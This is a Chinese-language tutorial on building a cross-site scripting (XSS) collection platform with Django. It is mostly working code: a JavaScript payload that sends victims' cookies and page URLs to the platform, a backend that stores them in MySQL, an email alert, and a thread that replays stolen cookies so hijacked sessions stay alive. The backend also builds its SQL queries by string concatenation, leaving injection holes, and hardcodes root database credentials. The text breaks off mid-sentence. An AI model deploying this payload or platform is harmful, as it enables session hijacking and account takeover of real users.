django框架教程学习
使用Django简单编写一个XSS平台的方法步骤1) 简要描述
原理十分简单2333,代码呆萌,大牛勿喷 >_<
2) 基础知识
- XSS攻击基本原理和利用方法
- Django框架的使用
3) Let's start
0x01
工欲善其事必先利其器,首先我们需要准备编写代码的各种工具和环境,这里不细说。我这里的环境和工具如下:
- python 3.7.0
- pycharm
- windows 10
- mysql 8.0.15
- Django 2.1.3
需要用到的第三方库:
- django
- pymysql
- requests
0x02
我们先看一下XSS脚本是如何工作的
|
var website = "http://127.0.0.1" ; ( function () { ( new Image()).src = website + '/?keepsession=1&location=' + escape(( function () { try { return document.location.href } catch (e) { return '' } })()) + '&toplocation=' + escape(( function () { try { return top.location.href } catch (e) { return '' } })()) + '&cookie=' + escape(( function () { try { return document.cookie } catch (e) { return '' } })()) + '&opener=' + escape(( function () { try { return (window.opener && window.opener.location.href) ? window.opener.location.href: '' } catch (e) { return '' } })()); })(); |
这段代码非常简单,就是通过javascript获取有用信息,然后通过访问xss平台将信息作为GET参数传给服务器。
注意:这里使用AJAX可能会出现CORS跨域问题。
0x03
先给出关键代码,其他都是Django相关的内容,这里不做相关讨论。
|
""" 根据url值动态返回相应的javascript代码 """ import pymysql,os from user.safeio import re_check def get_info(url): if not re_check(url, 'num_letter' ): return 'default' db = pymysql.connect( 'localhost' , 'root' , 'root' , 'xss' ) cursor = db.cursor() cursor.execute( "Select name From projects Where url='" + url + "'" ) js_name = cursor.fetchone()[ 0 ] if js_name = = None : return 'default' else : return (js_name) def get_js_value(url): js_name = get_info(url) file = '\\script\\'+js_name + ' .js' js_value = open (os.getcwd() + file ).read() js_value = js_value.replace( '<-1234->' ,url) return js_value |
|
import pymysql,time from .getscript import get_info def connect(): try : db = pymysql.connect( 'localhost' , 'root' , 'root' , 'xss' ) cursor = db.cursor() return db,cursor except : print ( '连接数据库失败,正在尝试重新连接' ) connect() def put_letter(requests,url): now_time = time.strftime( '%Y-%m-%d %H:%M:%S' ,time.localtime(time.time()))[ 2 :] if 'HTTP_X_FORWARDED_FOR' in requests.META: ip = requests.META[ 'HTTP_X_FORWARDED_FOR' ] else : try : ip = requests.META[ 'REMOTE_ADDR' ] except : ip = '0.0.0.0' ip = ip.replace( "'","\'") origin = requests.GET.get('location','Unknown').replace("'" , "\'" ) software = requests.META.get( 'HTTP_USER_AGENT' , 'Unknown' ).replace( "'","\'") method = requests.method.replace("'" , "\'" ) data = requests.GET.get( 'cookie' , 'No data' ).replace( "'","\'") keep_alive = requests.GET.get('keepsession','0').replace("'" , "\'" ) list = [now_time,ip,origin,software,method,data,keep_alive] put_mysql( list ,url) def put_mysql( list ,url): db,cursor = connect() name = get_info(url) cursor.execute( "Select user From projects Where url='" + url + "'" ) user = cursor.fetchone()[ 0 ] m_query = "INSERT INTO letters(time,name,ip,origin,software,method,data,user,keep_alive) VALUES('{0}','{1}','{2}','{3}','{4}','{5}','{6}','{7}','{8}')" m_query = m_query. format ( list [ 0 ],name, list [ 1 ], list [ 2 ], list [ 3 ], list [ 4 ], list [ 5 ],user, list [ 6 ]) cursor.execute(m_query) db.commit() db.close() def get_letters(username): db, cursor = connect() m_query = "SELECT * FROM letters WHERE user = '{}'" m_query = m_query. format (username) cursor.execute(m_query) result_list = cursor.fetchall() return result_list |
既然我们知道了xss脚本会将信息构造通过GET的参数形式传给XSS平台,我们只需在服务器接受数据并保存即可。
0x04
我们可以为我们的平台编写新的功能以完善我们的平台,如邮件提醒,cookie活性保持等
|
#coding=utf-8 ''' 邮件发送 ''' import smtplib from email.mime.text import MIMEText from email.utils import formataddr my_sender = 'xxxx' my_pass = 'xxxx' def send_mail(user_mail): try : print (user_mail) msg = MIMEText( '您点的外卖已送达,请登录平台查询' , 'plain' , 'utf-8' ) msg[ 'From' ] = formataddr([ "XSS平台" ,my_sender]) msg[ 'To' ] = formataddr([ "顾客" ,user_mail]) msg[ 'Subject' ] = "您点的外卖已送达,请登录平台查询" server = smtplib.SMTP_SSL( "smtp.qq.com" , 465 ) server.login(my_sender, my_pass) server.sendmail(my_sender,[user_mail,],msg.as_string()) server.quit() except Exception: pass |
|
''' 使用独立于主线程的其他线程 来保持通用项目的cookie信息'活性' 默认保持一个小时的活性 ''' import requests,queue,time,pymysql Cookie_Time = 1 def decrease(time,number): if time < number: time = '0' + str (time) else : time = str (time) return time def count_time(now_time): global Cookie_Time year = int (now_time[ 0 : 2 ]) month = int (now_time[ 3 : 5 ]) day = int (now_time[ 6 : 8 ]) hours = int (now_time[ 9 : 11 ]) if hours < Cookie_Time: if day = = 1 : if month = = 1 : month = 12 year - = 1 else : day = 30 month - = 1 else : day - = 1 hours + = 19 else : hours - = 5 hours = decrease(hours, 10 ) day = decrease(day, 10 ) month = decrease(month, 10 ) year = decrease(year, 10 ) dec_time = ( "{0}-{1}-{2} {3}" ). format (year,month,day,hours) + now_time[ 11 :] return dec_time def create_queue(): Cookie_queue = queue.Queue() now_time = time.strftime( '%Y-%m-%d %H:%M:%S' , time.localtime(time.time()))[ 2 :] dec_time = count_time(now_time) m_query = ( "SELECT software,origin,data FROM letters WHERE name='default' and time>'{}' and keep_alive = '1'" ). format (dec_time) db = pymysql.connect( '127.0.0.1' , 'root' , 'root' , 'xss' ) cursor = db.cursor() cursor.execute(m_query) return_list = cursor.fetchall() for x in return_list: Cookie_queue.put(x) return Cookie_queue def action(): while True : time.sleep( 60 ) task_queue = create_queue() while not task_queue.empty(): tasks = task_queue.get() url = tasks[ 1 ] ua = tasks[ 0 ] cookie = tasks[ 2 ] headers = { 'User-Agent' : ua, 'Cookie' : cookie} try : requests.get(url, headers = headers) except : pass |
注意这里需要使用独立于django主线程的子线程,比如我在manager.py里添加了这么一段代码: